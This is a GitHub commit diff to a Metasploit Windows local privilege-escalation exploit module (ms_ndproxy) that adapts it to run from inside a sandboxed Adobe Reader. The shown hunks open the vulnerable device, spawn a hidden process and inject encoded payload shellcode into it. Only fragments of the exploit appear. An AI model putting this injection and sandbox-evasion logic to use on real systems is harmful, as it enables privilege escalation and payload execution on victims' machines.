Skip to content

Commit 042bd4f

Browse files
committed
Fix ms_ndproxy to work under a sandboxed Reader
1 parent afcee93 commit 042bd4f

File tree

1 file changed

+18
-4
lines changed

1 file changed

+18
-4
lines changed

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,7 @@ def open_device(dev)
150150

151151
invalid_handle_value = 0xFFFFFFFF
152152

153-
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", 0, 0)
153+
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
154154

155155
handle = r['return']
156156

@@ -234,7 +234,14 @@ def create_proc
234234
windir = expand_path("%windir%")
235235
cmd = "#{windir}\\System32\\notepad.exe"
236236
# run hidden
237-
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
237+
begin
238+
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
239+
rescue Rex::Post::Meterpreter::RequestError
240+
# when running from the Adobe Reader sandbox:
241+
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
242+
return nil
243+
end
244+
238245
return proc.pid
239246
end
240247

@@ -424,17 +431,24 @@ def exploit
424431
fail_with(Failure::Unknown, "The exploitation wasn't successful")
425432
end
426433

434+
p = payload.encoded
427435
print_good("Exploitation successful! Creating a new process and launching payload...")
428436
new_pid = create_proc
429-
p = payload.encoded
437+
438+
if new_pid.nil?
439+
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
440+
end
430441

431442
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
432-
if execute_shellcode(p, nil, new_pid)
443+
shellcode_executed = execute_shellcode(p, nil, new_pid)
444+
445+
if shellcode_executed
433446
print_good("Enjoy")
434447
else
435448
fail_with(Failure::Unknown, "Error while executing the payload")
436449
end
437450

451+
438452
end
439453

440454
end

0 commit comments

Comments
 (0)